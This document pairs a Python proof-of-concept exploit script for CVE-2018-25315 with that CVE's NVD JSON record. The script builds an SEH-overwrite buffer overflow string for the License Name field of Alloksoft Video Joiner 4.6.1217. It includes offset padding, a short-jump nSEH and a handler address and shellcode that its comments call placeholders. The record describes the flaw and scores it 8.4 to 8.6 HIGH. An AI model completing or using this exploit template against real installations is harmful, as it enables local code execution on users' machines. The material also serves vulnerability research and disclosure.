CVE-2018-25315

import sys import struct # Buffer overflow PoC for CVE-2018-25315 # Exploits SEH overwrite in Alloksoft Video Joiner 4.6.1217 def generate_payload(): # Offset to SEH handler (example value, adjust based on debugging) offset = 408 # SEH overwrite pattern # pop pop ret address from a non-ASLR module (e.g., os specific) # This is a placeholder address for demonstration seh_handler = struct.pack('<L', 0x1001FFFF) # Short jump to shellcode (6 bytes back) nseh = b"\xeb\x06\x90\x90" # Simple calc shellcode (Windows exec cmd.exe) # Placeholder shellcode shellcode = b"\x90" * 8 + b"\xcc\xcc\xcc\xcc" # Padding to reach offset padding = b"A" * offset # Remaining padding to fill the buffer remaining = b"C" * (500 - len(padding) - len(nseh) - len(seh_handler) - len(shellcode)) payload = padding + nseh + seh_handler + shellcode + remaining return payload if __name__ == "__main__": print("[+] Generating malicious payload for License Name field...") payload = generate_payload() print(f"[+] Payload length: {len(payload)}") # Use this string in the License Name field to trigger the crash/exploit print(payload.decode('latin-1'))

{"cve": {"id": "CVE-2018-25315", "sourceIdentifier": "[email protected]", "published": "2026-04-29T20:16:27.363", "lastModified": "2026-04-29T21:22:20.120", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Alloksoft Video joiner 4.6.1217 contains a buffer overflow vulnerability that allows local attackers to execute arbitrary code by supplying a malicious string in the License Name field. Attackers can craft a payload with structured exception handler (SEH) overwrite and shellcode to achieve code execution when the application processes the license registration input."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-120"}]}], "references": [{"url": "http://www.alloksoft.com", "source": "[email protected]"}, {"url": "http://www.alloksoft.com/joiner.htm", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/44364", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/alloksoft-video-joiner-buffer-overflow-via-license-name", "source": "[email protected]"}]}}